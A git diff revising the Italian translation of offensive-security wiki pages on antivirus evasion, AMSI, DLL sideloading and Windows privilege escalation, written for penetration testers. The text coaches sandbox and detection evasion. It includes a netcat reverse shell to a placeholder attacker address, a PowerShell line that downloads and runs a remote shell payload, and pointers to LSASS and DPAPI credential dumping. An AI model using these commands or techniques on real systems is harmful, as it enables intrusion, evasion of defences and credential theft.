https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA)
@ -160,7 +162,7 @@ Inoltre, controlla questa [pagina web](https://cube0x0.github.io/Relaying-for-gM
## LAPS
La **Local Administrator Password Solution (LAPS)**, disponibile per il download da [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), consente la gestione delle password degli amministratori locali. Queste password, che sono **randomizzate**, uniche e **cambiate regolarmente**, sono memorizzate centralmente in Active Directory. L'accesso a queste password è limitato tramite ACL a utenti autorizzati. Con permessi sufficienti concessi, è possibile leggere le password degli amministratori locali.
La **Local Administrator Password Solution (LAPS)**, disponibile per il download da [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), consente la gestione delle password degli amministratori locali. Queste password, che sono **randomizzate**, uniche e **cambiate regolarmente**, sono memorizzate centralmente in Active Directory. L'accesso a queste password è limitato tramite ACL a utenti autorizzati. Con permessi sufficienti concessi, è fornita la possibilità di leggere le password degli amministratori locali.
{{#ref}}
../active-directory-methodology/laps.md
@ -180,8 +182,8 @@ $ExecutionContext.SessionState.LanguageMode
#Easy bypass
Powershell -version 2
```
In Windows attuale, quel bypass non funzionerà, ma puoi usare [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Per compilarlo potresti aver bisogno** **di** _**Aggiungere un Riferimento**_ -> _Sfoglia_ -> _Sfoglia_ -> aggiungi `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **cambiare il progetto a .Net4.5**.
In Windows attuale quel bypass non funzionerà, ma puoi usare [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Per compilarlo potresti aver bisogno di** **_Aggiungere un Riferimento_** -> _Sfoglia_ -> _Sfoglia_ -> aggiungi `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **cambiare il progetto in .Net4.5**.
#### Bypass diretto:
```bash
@ -195,7 +197,7 @@ Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/t
## Politica di Esecuzione PS
Per impostazione predefinita è impostata su **restricted.** I principali modi per bypassare questa politica:
Per impostazione predefinita è impostata su **riservata.** I principali modi per bypassare questa politica:
```powershell
1º Just copy and paste inside the interactive PS console
2º Read en Exec

59
src/windows-hardening/av-bypass.md
View File

@ -6,15 +6,15 @@
## **Metodologia di Evasione AV**
Attualmente, gli AV utilizzano diversi metodi per controllare se un file è malevolo o meno, rilevamento statico, analisi dinamica e, per gli EDR più avanzati, analisi comportamentale.
Attualmente, gli AV utilizzano diversi metodi per controllare se un file è dannoso o meno, rilevamento statico, analisi dinamica e, per gli EDR più avanzati, analisi comportamentale.
### **Rilevamento statico**
Il rilevamento statico si ottiene contrassegnando stringhe o array di byte malevoli noti in un binario o script, ed estraendo anche informazioni dal file stesso (ad es. descrizione del file, nome dell'azienda, firme digitali, icona, checksum, ecc.). Questo significa che utilizzare strumenti pubblici noti può farti catturare più facilmente, poiché probabilmente sono stati analizzati e contrassegnati come malevoli. Ci sono un paio di modi per aggirare questo tipo di rilevamento:
Il rilevamento statico si ottiene contrassegnando stringhe o array di byte dannosi noti in un binario o script, ed estraendo anche informazioni dal file stesso (ad es. descrizione del file, nome dell'azienda, firme digitali, icona, checksum, ecc.). Questo significa che utilizzare strumenti pubblici noti può farti catturare più facilmente, poiché probabilmente sono stati analizzati e contrassegnati come dannosi. Ci sono un paio di modi per aggirare questo tipo di rilevamento:
- **Crittografia**
Se crittografi il binario, non ci sarà modo per l'AV di rilevare il tuo programma, ma avrai bisogno di qualche tipo di loader per decrittografare ed eseguire il programma in memoria.
Se crittografi il binario, non ci sarà modo per l'AV di rilevare il tuo programma, ma avrai bisogno di un caricatore per decrittografare ed eseguire il programma in memoria.
- **Offuscamento**
@ -22,7 +22,7 @@ A volte tutto ciò che devi fare è cambiare alcune stringhe nel tuo binario o s
- **Strumenti personalizzati**
Se sviluppi i tuoi strumenti, non ci saranno firme malevole note, ma questo richiede molto tempo e impegno.
Se sviluppi i tuoi strumenti, non ci saranno firme dannose note, ma questo richiede molto tempo e impegno.
> [!NOTE]
> Un buon modo per controllare il rilevamento statico di Windows Defender è [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Fondamentalmente divide il file in più segmenti e poi chiede a Defender di scansionare ciascuno individualmente, in questo modo, può dirti esattamente quali sono le stringhe o i byte contrassegnati nel tuo binario.
@ -31,32 +31,32 @@ Ti consiglio vivamente di dare un'occhiata a questa [playlist di YouTube](https:
### **Analisi dinamica**
L'analisi dinamica è quando l'AV esegue il tuo binario in un sandbox e osserva attività malevole (ad es. cercare di decrittografare e leggere le password del tuo browser, eseguire un minidump su LSASS, ecc.). Questa parte può essere un po' più complicata da gestire, ma ecco alcune cose che puoi fare per evadere i sandbox.
L'analisi dinamica è quando l'AV esegue il tuo binario in un sandbox e osserva attività dannose (ad es. cercare di decrittografare e leggere le password del browser, eseguire un minidump su LSASS, ecc.). Questa parte può essere un po' più complicata da gestire, ma ecco alcune cose che puoi fare per evadere le sandbox.
- **Sonno prima dell'esecuzione** A seconda di come è implementato, può essere un ottimo modo per bypassare l'analisi dinamica dell'AV. Gli AV hanno un tempo molto breve per scansionare i file per non interrompere il flusso di lavoro dell'utente, quindi utilizzare sonni lunghi può disturbare l'analisi dei binari. Il problema è che molti sandbox degli AV possono semplicemente saltare il sonno a seconda di come è implementato.
- **Controllo delle risorse della macchina** Di solito i sandbox hanno pochissime risorse con cui lavorare (ad es. < 2GB di RAM), altrimenti potrebbero rallentare la macchina dell'utente. Puoi anche essere molto creativo qui, ad esempio controllando la temperatura della CPU o persino la velocità delle ventole, non tutto sarà implementato nel sandbox.
- **Sonno prima dell'esecuzione** A seconda di come è implementato, può essere un ottimo modo per bypassare l'analisi dinamica dell'AV. Gli AV hanno un tempo molto breve per scansionare i file per non interrompere il flusso di lavoro dell'utente, quindi utilizzare sonni lunghi può disturbare l'analisi dei binari. Il problema è che molte sandbox degli AV possono semplicemente saltare il sonno a seconda di come è implementato.
- **Controllo delle risorse della macchina** Di solito le sandbox hanno pochissime risorse con cui lavorare (ad es. < 2GB di RAM), altrimenti potrebbero rallentare la macchina dell'utente. Puoi anche essere molto creativo qui, ad esempio controllando la temperatura della CPU o persino la velocità delle ventole, non tutto sarà implementato nella sandbox.
- **Controlli specifici della macchina** Se vuoi mirare a un utente la cui workstation è unita al dominio "contoso.local", puoi fare un controllo sul dominio del computer per vedere se corrisponde a quello che hai specificato, se non corrisponde, puoi far uscire il tuo programma.
Si scopre che il nome del computer del Sandbox di Microsoft Defender è HAL9TH, quindi puoi controllare il nome del computer nel tuo malware prima della detonazione, se il nome corrisponde a HAL9TH, significa che sei all'interno del sandbox di Defender, quindi puoi far uscire il tuo programma.
Si scopre che il nome della macchina della Sandbox di Microsoft Defender è HAL9TH, quindi puoi controllare il nome del computer nel tuo malware prima della detonazione, se il nome corrisponde a HAL9TH, significa che sei all'interno della sandbox di Defender, quindi puoi far uscire il tuo programma.
<figure><img src="../images/image (209).png" alt=""><figcaption><p>fonte: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
Altri ottimi consigli da [@mgeeky](https://twitter.com/mariuszbit) per contrastare i Sandbox
Altri ottimi suggerimenti da [@mgeeky](https://twitter.com/mariuszbit) per contrastare le Sandbox
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> canale #malware-dev</p></figcaption></figure>
Come abbiamo detto prima in questo post, **gli strumenti pubblici** verranno eventualmente **rilevati**, quindi dovresti chiederti qualcosa:
Come abbiamo detto prima in questo post, **gli strumenti pubblici** alla fine **verranno rilevati**, quindi dovresti chiederti qualcosa:
Ad esempio, se vuoi eseguire il dump di LSASS, **hai davvero bisogno di usare mimikatz**? O potresti usare un progetto diverso che è meno conosciuto e fa anche il dump di LSASS.
La risposta giusta è probabilmente l'ultima. Prendendo mimikatz come esempio, è probabilmente uno dei, se non il più contrassegnato malware dagli AV e EDR, mentre il progetto stesso è super interessante, è anche un incubo lavorarci per aggirare gli AV, quindi cerca alternative per ciò che stai cercando di ottenere.
La risposta giusta è probabilmente la seconda. Prendendo mimikatz come esempio, è probabilmente uno dei, se non il più contrassegnato malware dagli AV e EDR, mentre il progetto stesso è super interessante, è anche un incubo lavorarci per aggirare gli AV, quindi cerca semplicemente alternative per ciò che stai cercando di ottenere.
> [!NOTE]
> Quando modifichi i tuoi payload per l'evasione, assicurati di **disattivare l'invio automatico dei campioni** in Defender, e per favore, seriamente, **NON CARICARE SU VIRUSTOTAL** se il tuo obiettivo è raggiungere l'evasione a lungo termine. Se vuoi controllare se il tuo payload viene rilevato da un particolare AV, installalo su una VM, prova a disattivare l'invio automatico dei campioni e testalo lì fino a quando non sei soddisfatto del risultato.
## EXE vs DLL
Ogni volta che è possibile, **dai sempre priorità all'uso delle DLL per l'evasione**, nella mia esperienza, i file DLL sono di solito **molto meno rilevati** e analizzati, quindi è un trucco molto semplice da usare per evitare il rilevamento in alcuni casi (se il tuo payload ha qualche modo di essere eseguito come una DLL, ovviamente).
Ogni volta che è possibile, **dai sempre priorità all'uso delle DLL per l'evasione**, nella mia esperienza, i file DLL sono solitamente **molto meno rilevati** e analizzati, quindi è un trucco molto semplice da usare per evitare il rilevamento in alcuni casi (se il tuo payload ha un modo per essere eseguito come DLL, ovviamente).
Come possiamo vedere in questa immagine, un Payload DLL di Havoc ha un tasso di rilevamento di 4/26 in antiscan.me, mentre il payload EXE ha un tasso di rilevamento di 7/26.
@ -66,7 +66,7 @@ Ora mostreremo alcuni trucchi che puoi usare con i file DLL per essere molto pi
## Sideloading DLL & Proxying
**DLL Sideloading** sfrutta l'ordine di ricerca delle DLL utilizzato dal loader posizionando sia l'applicazione vittima che il payload malevolo accanto l'uno all'altro.
**DLL Sideloading** sfrutta l'ordine di ricerca delle DLL utilizzato dal caricatore posizionando sia l'applicazione vittima che il/i payload dannoso/i uno accanto all'altro.
Puoi controllare i programmi suscettibili al DLL Sideloading utilizzando [Siofra](https://github.com/Cybereason/siofra) e il seguente script di powershell:
```powershell
@ -77,7 +77,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
Questo comando restituirà l'elenco dei programmi suscettibili al DLL hijacking all'interno di "C:\Program Files\\" e i file DLL che tentano di caricare.
Ti consiglio vivamente di **esplorare i programmi DLL Hijackable/Sideloadable da solo**, questa tecnica è piuttosto furtiva se eseguita correttamente, ma se utilizzi programmi Sideloadable DLL pubblicamente noti, potresti essere facilmente catturato.
Ti consiglio vivamente di **esplorare i programmi DLL Hijackable/Sideloadable da solo**, questa tecnica è piuttosto furtiva se eseguita correttamente, ma se utilizzi programmi DLL Sideloadable pubblicamente noti, potresti essere facilmente catturato.
Semplicemente posizionare una DLL malevola con il nome che un programma si aspetta di caricare, non caricherà il tuo payload, poiché il programma si aspetta alcune funzioni specifiche all'interno di quella DLL; per risolvere questo problema, utilizzeremo un'altra tecnica chiamata **DLL Proxying/Forwarding**.
@ -107,7 +107,7 @@ Sia il nostro shellcode (codificato con [SGN](https://github.com/EgeBalci/sgn))
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Ti **consiglio vivamente** di guardare il [VOD di twitch di S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) riguardo al DLL Sideloading e anche il [video di ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) per saperne di più su quanto abbiamo discusso in modo più approfondito.
> Ti **consiglio vivamente** di guardare il [VOD di S3cur3Th1sSh1t su twitch](https://www.twitch.tv/videos/1644171543) riguardo al DLL Sideloading e anche il [video di ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) per saperne di più su quanto abbiamo discusso in modo più approfondito.
## [**Freeze**](https://github.com/optiv/Freeze)
@ -127,7 +127,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
## AMSI (Interfaccia di Scansione Anti-Malware)
AMSI è stata creata per prevenire "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Inizialmente, gli AV erano in grado di scansionare solo **file su disco**, quindi se riuscivi in qualche modo a eseguire payload **direttamente in memoria**, l'AV non poteva fare nulla per prevenirlo, poiché non aveva abbastanza visibilità.
AMSI è stato creato per prevenire "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Inizialmente, gli AV erano in grado di scansionare solo **file su disco**, quindi se riuscivi in qualche modo a eseguire payload **direttamente in memoria**, l'AV non poteva fare nulla per prevenirlo, poiché non aveva abbastanza visibilità.
La funzionalità AMSI è integrata in questi componenti di Windows.
@ -201,11 +201,11 @@ Ci sono diversi strumenti che possono essere utilizzati per **offuscare il codic
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: offuscatore C#**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): L'obiettivo di questo progetto è fornire un fork open-source della suite di compilazione [LLVM](http://www.llvm.org/) in grado di fornire maggiore sicurezza del software attraverso [l'offuscamento del codice](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) e la protezione contro manomissioni.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator dimostra come utilizzare il linguaggio `C++11/14` per generare, al momento della compilazione, codice offuscato senza utilizzare alcuno strumento esterno e senza modificare il compilatore.
- [**obfy**](https://github.com/fritzone/obfy): Aggiungi uno strato di operazioni offuscate generate dal framework di metaprogrammazione C++ che renderà la vita della persona che desidera craccare l'applicazione un po' più difficile.
- [**obfy**](https://github.com/fritzone/obfy): Aggiungi uno strato di operazioni offuscate generate dal framework di metaprogrammazione C++ template che renderà un po' più difficile la vita a chi vuole craccare l'applicazione.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz è un offuscatore binario x64 in grado di offuscare vari file pe diversi tra cui: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame è un semplice motore di codice metamorfico per eseguibili arbitrari.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator è un framework di offuscamento del codice a grana fine per linguaggi supportati da LLVM che utilizza ROP (programmazione orientata al ritorno). ROPfuscator offusca un programma a livello di codice assembly trasformando istruzioni normali in catene ROP, ostacolando la nostra concezione naturale del normale flusso di controllo.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt è un Crypter PE .NET scritto in Nim
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt è un .NET PE Crypter scritto in Nim
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor è in grado di convertire EXE/DLL esistenti in shellcode e poi caricarli
## SmartScreen & MoTW
@ -216,7 +216,7 @@ Microsoft Defender SmartScreen è un meccanismo di sicurezza destinato a protegg
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen funziona principalmente con un approccio basato sulla reputazione, il che significa che le applicazioni scaricate raramente attiveranno SmartScreen, avvisando e impedendo all'utente finale di eseguire il file (anche se il file può ancora essere eseguito facendo clic su Maggiori informazioni -> Esegui comunque).
SmartScreen funziona principalmente con un approccio basato sulla reputazione, il che significa che le applicazioni scaricate raramente attiveranno SmartScreen, avvisando e impedendo all'utente finale di eseguire il file (anche se il file può comunque essere eseguito cliccando su Maggiori informazioni -> Esegui comunque).
**MoTW** (Mark of The Web) è un [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) con il nome di Zone.Identifier che viene creato automaticamente al momento del download di file da internet, insieme all'URL da cui è stato scaricato.
@ -267,7 +267,7 @@ La maggior parte dei framework C2 (sliver, Covenant, metasploit, CobaltStrike, H
- **Fork\&Run**
Comporta **la creazione di un nuovo processo sacrificial**, iniettando il tuo codice malevolo di post-exploitation in quel nuovo processo, eseguendo il tuo codice malevolo e, una volta terminato, uccidendo il nuovo processo. Questo ha sia vantaggi che svantaggi. Il vantaggio del metodo fork and run è che l'esecuzione avviene **al di fuori** del nostro processo di impianto Beacon. Questo significa che se qualcosa nella nostra azione di post-exploitation va storto o viene catturato, c'è una **probabilità molto maggiore** che il nostro **impianto sopravviva.** Lo svantaggio è che hai una **maggiore probabilità** di essere catturato da **Rilevamenti Comportamentali**.
Comporta **la creazione di un nuovo processo sacrificial**, iniettare il tuo codice malevolo di post-exploitation in quel nuovo processo, eseguire il tuo codice malevolo e, quando hai finito, terminare il nuovo processo. Questo ha sia vantaggi che svantaggi. Il vantaggio del metodo fork and run è che l'esecuzione avviene **al di fuori** del nostro processo di impianto Beacon. Questo significa che se qualcosa nella nostra azione di post-exploitation va storto o viene catturato, c'è una **probabilità molto maggiore** che il nostro **impianto sopravviva.** Lo svantaggio è che hai una **maggiore probabilità** di essere catturato da **Rilevamenti Comportamentali**.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
@ -278,7 +278,7 @@ Si tratta di iniettare il codice malevolo di post-exploitation **nel proprio pro
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Se vuoi leggere di più sul caricamento degli Assembly C#, ti consiglio di controllare questo articolo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) e il loro InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
> Se vuoi leggere di più sul caricamento degli Assembly C#, ti preghiamo di controllare questo articolo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) e il loro InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
Puoi anche caricare Assembly C# **da PowerShell**, dai un'occhiata a [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) e al video di [S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
@ -298,22 +298,26 @@ Ogni ambiente contro cui ti scontri avrà i propri punti di forza e di debolezza
Ti incoraggio vivamente a guardare questo intervento di [@ATTL4S](https://twitter.com/DaniLJ94), per avere un'idea delle tecniche di evasione più avanzate.
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
Questo è anche un altro grande intervento di [@mariuszbit](https://twitter.com/mariuszbit) sull'Evasione in Profondità.
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
{{#ref}}
https://www.youtube.com/watch?v=IbA7Ung39o4
{{#endref}}
## **Tecniche Vecchie**
### **Controlla quali parti Defender trova come malevole**
Puoi utilizzare [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) che **rimuoverà parti del binario** fino a **scoprire quale parte Defender** trova come malevole e te lo dividerà.\
Puoi utilizzare [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) che **rimuoverà parti del binario** fino a **scoprire quale parte Defender** trova come malevola e te lo dividerà.\
Un altro strumento che fa **la stessa cosa è** [**avred**](https://github.com/dobin/avred) con un'offerta web aperta che fornisce il servizio in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Server Telnet**
Fino a Windows 10, tutte le versioni di Windows venivano fornite con un **server Telnet** che potevi installare (come amministratore) eseguendo:
Fino a Windows 10, tutti i Windows venivano forniti con un **server Telnet** che potevi installare (come amministratore) facendo:
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
@ -473,7 +477,9 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
```
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
{{#ref}}
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
{{#endref}}
Elenco di offuscatori C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
@ -523,5 +529,4 @@ https://github.com/praetorian-code/vulcan
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
{{#include ../banners/hacktricks-training.md}}

70
src/windows-hardening/windows-local-privilege-escalation/README.md
View File

@ -16,7 +16,7 @@ access-tokens.md
### ACL - DACL/SACL/ACE
**Controlla la seguente pagina per ulteriori informazioni su ACL - DACL/SACL/ACE:**
**Controlla la seguente pagina per ulteriori informazioni sulle ACL - DACL/SACL/ACE:**
{{#ref}}
acls-dacls-sacls-aces.md
@ -167,7 +167,7 @@ E se `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer`
Allora, **è sfruttabile.** Se l'ultimo registro è uguale a 0, l'entry WSUS sarà ignorata.
Per sfruttare queste vulnerabilità puoi usare strumenti come: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Questi sono script di exploit MiTM armati per iniettare aggiornamenti 'falsi' nel traffico WSUS non SSL.
Per sfruttare queste vulnerabilità puoi usare strumenti come: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- Questi sono script di exploit armati MiTM per iniettare aggiornamenti 'falsi' nel traffico WSUS non SSL.
Leggi la ricerca qui:
@ -178,11 +178,11 @@ Leggi la ricerca qui:
[**Leggi il rapporto completo qui**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
Fondamentalmente, questo è il difetto che questo bug sfrutta:
> Se abbiamo il potere di modificare il nostro proxy utente locale, e Windows Updates utilizza il proxy configurato nelle impostazioni di Internet Explorer, quindi abbiamo il potere di eseguire [PyWSUS](https://github.com/GoSecure/pywsus) localmente per intercettare il nostro stesso traffico ed eseguire codice come utente elevato sul nostro asset.
> Se abbiamo il potere di modificare il nostro proxy utente locale, e gli aggiornamenti di Windows utilizzano il proxy configurato nelle impostazioni di Internet Explorer, quindi abbiamo il potere di eseguire [PyWSUS](https://github.com/GoSecure/pywsus) localmente per intercettare il nostro stesso traffico ed eseguire codice come utente elevato sul nostro asset.
>
> Inoltre, poiché il servizio WSUS utilizza le impostazioni dell'utente corrente, utilizzerà anche il suo archivio certificati. Se generiamo un certificato autofirmato per il nome host WSUS e aggiungiamo questo certificato nell'archivio certificati dell'utente corrente, saremo in grado di intercettare sia il traffico WSUS HTTP che HTTPS. WSUS non utilizza meccanismi simili a HSTS per implementare una validazione di tipo trust-on-first-use sul certificato. Se il certificato presentato è fidato dall'utente e ha il nome host corretto, sarà accettato dal servizio.
Puoi sfruttare questa vulnerabilità utilizzando lo strumento [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una volta che sarà liberato).
Puoi sfruttare questa vulnerabilità utilizzando lo strumento [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una volta che è stato liberato).
## KrbRelayUp
@ -208,7 +208,7 @@ Se hai una sessione meterpreter, puoi automatizzare questa tecnica utilizzando i
### PowerUP
Usa il comando `Write-UserAddMSI` da power-up per creare all'interno della directory corrente un binario MSI di Windows per elevare i privilegi. Questo script scrive un installer MSI precompilato che richiede l'aggiunta di un utente/gruppo (quindi avrai bisogno di accesso GIU):
Usa il comando `Write-UserAddMSI` di power-up per creare all'interno della directory corrente un binario MSI di Windows per elevare i privilegi. Questo script scrive un installer MSI precompilato che richiede l'aggiunta di un utente/gruppo (quindi avrai bisogno di accesso GIU):
```
Write-UserAddMSI
```
@ -289,7 +289,7 @@ reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
```
### Credentials Guard
**Credential Guard** è stato introdotto in **Windows 10**. Il suo scopo è proteggere le credenziali memorizzate su un dispositivo contro minacce come gli attacchi pass-the-hash.| [**Ulteriori informazioni su Credentials Guard qui.**](../stealing-credentials/credentials-protections.md#credential-guard)
**Credential Guard** è stato introdotto in **Windows 10**. Il suo scopo è proteggere le credenziali memorizzate su un dispositivo da minacce come gli attacchi pass-the-hash.| [**Ulteriori informazioni su Credentials Guard qui.**](../stealing-credentials/credentials-protections.md#credential-guard)
```bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
```
@ -336,7 +336,7 @@ Controlla la pagina seguente per **scoprire token interessanti** e come abusarne
privilege-escalation-abusing-tokens.md
{{#endref}}
### Utenti connessi / Sessioni
### Utenti registrati / Sessioni
```bash
qwinsta
klist sessions
@ -416,7 +416,7 @@ Puoi usare **sc** per ottenere informazioni su un servizio
```bash
sc qc <service_name>
```
Si consiglia di avere il binario **accesschk** di _Sysinternals_ per controllare il livello di privilegio richiesto per ciascun servizio.
Si consiglia di avere il binario **accesschk** da _Sysinternals_ per controllare il livello di privilegio richiesto per ciascun servizio.
```bash
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
```
@ -470,7 +470,7 @@ I privilegi possono essere elevati attraverso vari permessi:
- **GENERIC_WRITE**: Eredita anche la capacità di modificare le configurazioni del servizio.
- **GENERIC_ALL**: Eredita anch'essa la capacità di modificare le configurazioni del servizio.
Per la rilevazione e lo sfruttamento di questa vulnerabilità, si può utilizzare _exploit/windows/local/service_permissions_.
Per la rilevazione e lo sfruttamento di questa vulnerabilità, si può utilizzare il _exploit/windows/local/service_permissions_.
### Permessi deboli dei binari dei servizi
@ -602,7 +602,7 @@ privilege-escalation-with-autorun-binaries.md
### Driver
Cerca possibili driver **di terze parti strani/vulnerabili**.
Cerca possibili driver **di terze parti strani/vulnerabili**
```bash
driverquery
driverquery.exe /fo table
@ -610,7 +610,7 @@ driverquery /SI
```
## PATH DLL Hijacking
Se hai **permessi di scrittura all'interno di una cartella presente nel PATH** potresti essere in grado di dirottare un DLL caricata da un processo e **escalare i privilegi**.
Se hai **permessi di scrittura all'interno di una cartella presente nel PATH** potresti essere in grado di dirottare una DLL caricata da un processo e **escalare i privilegi**.
Controlla i permessi di tutte le cartelle all'interno del PATH:
```bash
@ -719,7 +719,7 @@ Puoi quindi utilizzare `runas` con l'opzione `/savecred` per utilizzare le crede
```bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
```
Utilizzando `runas` con un set di credenziali fornito.
Utilizzando `runas` con un insieme di credenziali fornite.
```bash
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
```
@ -727,18 +727,18 @@ Nota che mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/c
### DPAPI
L'**API di Protezione Dati (DPAPI)** fornisce un metodo per la crittografia simmetrica dei dati, utilizzato prevalentemente all'interno del sistema operativo Windows per la crittografia simmetrica delle chiavi private asimmetriche. Questa crittografia sfrutta un segreto dell'utente o del sistema per contribuire significativamente all'entropia.
L'**API di Protezione Dati (DPAPI)** fornisce un metodo per la crittografia simmetrica dei dati, utilizzato prevalentemente all'interno del sistema operativo Windows per la crittografia simmetrica delle chiavi private asimmetriche. Questa crittografia sfrutta un segreto utente o di sistema per contribuire significativamente all'entropia.
**DPAPI consente la crittografia delle chiavi attraverso una chiave simmetrica derivata dai segreti di accesso dell'utente**. In scenari che coinvolgono la crittografia del sistema, utilizza i segreti di autenticazione del dominio del sistema.
**DPAPI consente la crittografia delle chiavi attraverso una chiave simmetrica derivata dai segreti di accesso dell'utente**. In scenari che coinvolgono la crittografia di sistema, utilizza i segreti di autenticazione del dominio del sistema.
Le chiavi RSA dell'utente crittografate, utilizzando DPAPI, sono memorizzate nella directory `%APPDATA%\Microsoft\Protect\{SID}`, dove `{SID}` rappresenta il [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) dell'utente. **La chiave DPAPI, co-locata con la chiave master che protegge le chiavi private dell'utente nello stesso file**, consiste tipicamente di 64 byte di dati casuali. (È importante notare che l'accesso a questa directory è ristretto, impedendo l'elenco dei suoi contenuti tramite il comando `dir` in CMD, anche se può essere elencata tramite PowerShell).
Le chiavi RSA utente crittografate, utilizzando DPAPI, sono memorizzate nella directory `%APPDATA%\Microsoft\Protect\{SID}`, dove `{SID}` rappresenta l'[Identificatore di Sicurezza](https://en.wikipedia.org/wiki/Security_Identifier) dell'utente. **La chiave DPAPI, co-locata con la chiave master che protegge le chiavi private dell'utente nello stesso file**, consiste tipicamente di 64 byte di dati casuali. (È importante notare che l'accesso a questa directory è ristretto, impedendo l'elenco dei suoi contenuti tramite il comando `dir` in CMD, anche se può essere elencata tramite PowerShell).
```powershell
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
```
Puoi usare il **modulo mimikatz** `dpapi::masterkey` con gli argomenti appropriati (`/pvk` o `/rpc`) per decrittarlo.
